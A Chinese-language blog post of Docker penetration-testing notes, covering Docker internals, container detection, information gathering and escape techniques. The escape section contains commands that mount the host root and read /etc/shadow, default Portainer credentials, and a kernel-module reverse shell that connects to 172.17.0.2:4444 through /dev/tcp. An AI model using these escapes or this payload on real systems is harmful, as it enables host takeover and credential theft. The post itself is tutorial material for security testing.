浅淡针对docker渗透测试的小记 2020-11-15 10:01:52 Steven Xeldax # 浅淡针对docker渗透测试的小记 目录 - Docker简介 - Docker的识别 - Docker的信息收集 - Docker的渗透 - Docker渗透:错误配置 - Docker渗透:漏洞利用 - 工具 - 参考资料 ## Docker简介 ### 基础概念 Docker是一种基于Linux内核的cgroup、namespace,以及AUFS类的Union FS等技术,对进程进行封装隔离,属于操作系统层面的虚拟化技术。 虚拟化是一种资源管理技术,将计算机实体资源,如服务器、网络、内存等予以抽象转换后呈现出来,在同一主机上同时运行多个系统从而提高系统资源的利用率,降低成本方便管理和容错等好处。 传统方式是在硬件层面实现虚拟化,需要额外的虚拟机管理应用和虚拟机操作系统层,Docker容器是在操作系统层面上实现虚拟化,直接复用本地主机操作系统,因此更加轻量级。 Docker引擎由如下主要组件构成: **Docker客户端(Docker Client)、Docker守护进程(Docker daemon)、containerd以及runc**。它们共同负责容器的创建和运行。  **docker要了解常见的概念名词有: ● docker client ● docker daemon ● docker registry ● docker images ● docker images ● docker containers ● runc ● dockerfile** #### Docker Client Docker Client是和Docker Daemon建立通信客户端,Docker Client可以通过三种方式和Daemon建立通信: ``` tcp://host:port uninx//path_to_socket fd://socketfd ``` #### Docker daemon Docker daemon在宿主机后运行,作为服务端接受来自客户端请求,主要功能包括镜像管理、构造、rest api等。 Docker daemon通过位于/var/run/docker.sock的本地IPC/unix socket来实现docker远程api,默认非tls网络端口为2375,tls默认端口为2376。 #### Docker Registry Docker Registry是docker的仓库,它可以用来保存镜像,可以理解为代码控制中的代码仓库。Docker Hub提供了庞大的镜像集合供使用。 #### Docker Images 运行容器前需要本地存在对应的镜像,如果不存在默认会从docker hub镜像仓库下载。 镜像由多个层组成,每个层叠加之后外部开来就是一个独立的对象,镜像内部是一个精简的操作系统,同时包含应用运行所需的文件和依赖包。 #### Docker Containers 容器是操作系统虚拟化将系统资源化为为虚拟资源。容器本身并不是完整的操作系统,启动要远比虚拟机快,容器内部是不需要内核的,也就没有定位,解压以及初始化的过程。 #### Runc runc是一个轻量级的针对libcontainer进行的命令行交互工具,取代了早期docker架构中的lxc。runc只有一个作用,就是创建容器。 #### Docker File Docker file是用来构建build镜像image的初始化文件,通常dockerrfile的基础语法为:   ### Docker的生命周期  created已创建: 已创建的容器,但还没有开始 running:正在运行的容器 paused:已经暂停的容器 stop:推出的容器 dead:守护程序尝试但是未能够停止的容器 在docker生命周期的管理过程中常见使用的命令如下所示,可以使用这些命令来更改docker容器的状态: ``` docker pull [OPTIONS] NAME[:TAG|@DIGEST] 从远程docker hub中提取图像并将其保存在本地计算机中。此命令与Git pull命令的作用相同。 docker create [OPTIONS] IMAGE [COMMAND] [ARG...] 此命令按指定的图像创建新的Docker容器。 docker start [OPTIONS] CONTAINER [CONTAINER...] 此命令用于将已退出或新创建的容器启动到运行状态。 docker run [OPTIONS] IMAGE [COMMAND] [ARG...] 此命令创建一个新容器,并在新创建的容器中运行该映像。“docker create”和“docker start”命令都可以通过此单个命令执行。 docker stop [OPTIONS] CONTAINER [CONTAINER...] 此命令将停止正在运行的容器。这会将容器状态从运行更改为激动。 docker pause CONTAINER [CONTAINER...] 此命令通过发出SIGSTOP命令来暂停正在运行的容器中的正在运行的进程。 docker unpause CONTAINER [CONTAINER...] 此命令将暂停进程返回到运行状态。 ``` ### Docker容器的执行流程 当执行docker run的时候,docker client会将其转换为合适的api格式,并发送到合适的api端点。一旦daemon接受到创建的命令,会向containerd发出调用,然后containerd指挥runc去创建一个新的容器。然后runc与操作系统内核接口进行通信,基于所有必要的工作(Namespace、CGroup)来创建容器。容器进程作为runc的子进程启动,启动完成后runc退出。 ### Docker的数据管理 Docker的数据主要分为两类:持久化数据和非持久化数据。默认情况下非持久化存储室自动创建生命周期与容器相统一,删除容器也会删除非持久化数据,非持久化数据默认存储于/var/lib/docker下。 如果希望将容器数据保留下来,需要将数据存储于卷上,默认情况下,容器的所有存储都是用本地存储。 ### Docker的网络管理 Docker网络架构源自一种叫做容器网络模型的方案,Libnetwork是docker对CNM的一种实现,提供了Docker核心网络架构的全部功能。 Docker网络架构由三个主要部分构成: ● CNM ● Libnetwork ● 驱动 Libnetwork通过go语言编写,并实现了CNM中列举的核心组件。 驱动通过实现特定网络拓扑的方式来拓展该模型的能力。 ### Docker的安全机制  利用了大部分Linux通用安全技术,这些技术包括命名空间(Namespace)、控制组(Cgroup)、系统权限(Capability)、强制访问控制(MAC)。 **Namespace** 内核命名空间属于容器非常核心的一部分,能够将操作系统进行拆分,使一个系统看起来像是多个互相独立的操作系统一样。 docker容器是由各种命名空间组合而成的,本质就是命名空间的有组织集合。 每个容器都有自己的PID,NET,MNT,IPC,UTS构成。 **Control Group** 命名空间的作用是用来进行隔离的,那么cgroup就是用于限制资源。 容器之间是互相隔离的,但是却共享os资源,比如CPU,RAM以及IO。cgroup允许用户设置限制,这样单个容器就不能占用主机的cpu,ram等资源了。 **Capability** 以root身份运行容器不是很安全,root拥有全部的权限,因此很危险,如果以非root身份运行容器那么将处处受到限制,所以需要capability来给与用户部分root的权限。 在底层,linux root有许多能力组成,包括以下几点: CAP_CHOWN: 允许用户修改文件所有权 CAP_NET_BIND_SERVICE: 允许用户将socket绑定到系统端口号 CAP_SETUID: 允许用户提升进程优先级 CAP_SYS_BOOT: 允许用户重启系统 Docker采用capability机制来实现用户在以root身份运行的同时还能移除非必需root能力。 ### Docker swarm模式 Swarm是Docker公司推出的用来管理docker集群的平台,几乎全部用GO语言来完成的开发的,代码开源在https://github.com/docker/swarm, 它是将一群Docker宿主机变成一个单一的虚拟主机,Swarm使用标准的Docker API接口作为其前端的访问入口,换言之,各种形式的Docker 。 Client(compose,docker-py等)均可以直接与Swarm通信,甚至Docker本身都可以很容易的与Swarm集成,这大大方便了用户将原本基于单节点的系统移植到Swarm上,同时Swarm内置了对Docker网络插件的支持,用户也很容易的部署跨主机的容器集群服务。 Docker Swarm 和 Docker Compose 一样,都是 Docker 官方容器编排项目,但不同的是,Docker Compose 是一个在单个服务器或主机上创建多个容器的工具,而 Docker Swarm 则可以在多个服务器或主机上创建容器集群服务,对于微服务的部署,显然 Docker Swarm 会更加适合。 从 Docker 1.12.0 版本开始,Docker Swarm 已经包含在 Docker 引擎中(docker swarm),并且已经内置了服务发现工具,我们就不需要像之前一样,再配置 Etcd 或者 Consul 来进行服务发现配置了。 Swarm deamon只是一个调度器(Scheduler)加路由器(router),Swarm自己不运行容器,它只是接受Docker客户端发来的请求,调度适合的节点来运行容器,这就意味着,即使Swarm由于某些原因挂掉了,集群中的节点也会照常运行,放Swarm重新恢复运行之后,他会收集重建集群信息。  ## Docker识别 方法一: dockerenv文件 判断根目录下是否有dockerenv文件 dockerenv是所有容器中都会存在的这个文件,这个文件曾是lcx用于环境变量加载到容器中,现在容器不再使用lcx所以内容为空,通过这种方式来识别当前环境是否在容器中。 方法二:cgroup 检查/proc/1/cgroup内是否包含docker等字符串 cat /proc/1/cgroup | grep "docker" 方法三:运行进程 当前环境进程是否少于5 在容器中可能不会看到init或者是systemd的进程,而且容器仅仅运行一个进程而不是完整的操作系统进程。 方法四: 缺失程序 ping、sudo、ifconfig、ssh、vi、gcc、python 方法五:mount命令查看 查看mount的结果中是否存在docker **bash测试命令集合** ``` DOCKER_ENV_FILE=/.dockerenv DOCKER=docker DOCKER_CGROUP=/proc/1/cgroup ls -al$DOCKER_ENV_FILE grep "$DOCKER" $DOCKER_CGROUP ps aux ps -p1 which sudo which apt which vi which ping which ssh ``` ## Docker信息收集 #### 容器下信息收集 1. 容器具有哪些权限capabilities: 在docker上执行 2. ```grep CapEff /proc/self/status```获得权限值 3. 当前容器是否在处在特权模式 ``` CAP=\`grep CapEff /proc/self/status | cut -f 2\` if ["$CAP" ="0000003fffffffff" ];then echo -e"Container is privileged." else echo -e"Container is not privileged." ``` 容器挂载了哪些卷 ```cat /proc/mounts```,如果/proc/mounts中有docker.sock则可以直接容器逃逸。 #### 宿主机信息收集 哪些用户可以使用docker? ```grep docker /etc/group``` 当前宿主机可用镜像? ```docker images -a``` 当前运行哪些容器? ```docker ps -a``` Docker守护进程启动参数,读取配置文件: ``` /usr/lib/systemd/system/docker.service /etc/docker/daemon.json find / -name "docker-compose." cat /home//.docker/config.json ``` ## Docker渗透  一般主要是容器逃逸和针对Docker守护进程的攻击 ## Docker渗透: 错误配置 ● 未授权访问 ● 挂载docker socket ● 特权模式 ● capabilities ### 未授权访问 docker daemon如果以tcp方式开放在网络上默认是没有身份校验的,一般端口是2375. 我们可以通过```curl http://xxxxxx:2375/version```来检查是否是未授权访问。 如果存在未授权访问,那么就可以直接对docker进行操作,将宿主机的磁盘挂载出来更改ssh的私钥进行登陆,或者给容器加上docker特权模式。 ``` docker images docker run -it -v /:/host/ ubuntu:18.04 bash cd /host/ chroot ./ bash cat /etc/shadow ``` ### 挂载docker socket 当容器可以访问docker socket时,可以通过与daemon的通信对其进行恶意操纵完成逃逸,容器A能 访问docker socket便可在容器中安装docker client,通过docket.sock与宿主机进行交互,运行并切 换至不安全的容器B中控制宿主机。 利用条件: 一个容器权限 拥有访问Docket Socket权限。 查找docker socket 安装docker client ```apt-get install docker.io``` 查看当前镜像 ```docker images``` 运行一个Ubuntu容器,将宿主机的根目录挂载到容器中的host目录上: ```docker run -it -v /:/host/ ubuntu:18.04 bash``` 在新容器执行,将根目录换成指定的目录: ```chroot ./ bash``` ### Privileged Mode 在特权模式下运行不完全受控容器,将会给宿主机带来极大安全威胁,当执行: ```docker run --privileged``` Docker将允许容器访问宿主机上的设备,也拥有修改AppArmor或者SeLinux的权限,相当于就是宿 主权限。 特权模式下可以看到宿主机上的设备,直接进行挂载磁盘,然后将根目录切换过去。 ``` fdisk -l mkdir /host mount /dev/vda1 /host cd /host chroot ./ bash ``` ### Capabilities 如果用户启动容器时指定参数,那么使用了一些危害参数那么很可能给攻击者提供了一定程度逃逸 的可能性。 ● CAP_SYS_ADMIN ● SYS_PTRACE ● SYS_MODULE #### CAP_SYS_ADMIN 启动容器指定CAP_SYS_ADMIN: ```docker run --rm -it --cap-add=CAP_SYS_ADMIN --security -opt apparmor=unconfined ubuntu /bin/bash``` 通过capsh查看: ```capsh --print```  我们可以直接通过```mount /dev/sdx /mnt```来挂在物理机进行逃逸。 #### SYS_PTRACE 拥有SYS_PTRACE权限可以通过进程注入达到逃逸 查找HTTP服务器的PID ```ps -eaf``` 生成反弹shellcode https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c #### SYS_MODULE 该权限允许装载一个linux kernel module,我们直接写一个内核模块进行逃逸就行。 ``` #include <linux/kmod.h> #include <linux/module.h> char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NU static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin: static int __init reverse_shell_init(void) { return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n"); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); ``` ``` Makefile obj-m +=reverse-shell.o all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean insmod reverse-shell.ko ``` ## Docker渗透:container云平台 常见的云平台有: Portainer Dive Docker Compose UI Seagull 例如在portainer下,我们可以使用admin/portainer登陆到后台,然后新建挂载一个宿主机根目录的容器来实现逃逸。  ## Docker渗透: 漏洞利用 ### CVE-2019-5736 Runc提权 攻击者可以修改runc的二进制从而导致提权,需要管理员执行exec才能触发。 漏洞的版本是在docker version <=18.09.2,runc version<=1.0-rc6。 https://github.com/Frichetten/CVE-2019-5736-PoC ### 内核漏洞 https://github.com/SecWiki/linux-kernel-exploits ## 工具 https://github.com/quay/clair https://github.com/kost/dockscan https://github.com/genuinetools/amicontained https://github.com/falcosecurity/falco https://github.com/ianxtianxt/docker_api_vul ## 参考资料 https://www.secrss.com/articles/18752 https://www.secrss.com/articles/17274 https://blog.csdn.net/weixin_39190897/article/details/106676412 https://www.cnblogs.com/zhujingzhi/p/9792432.html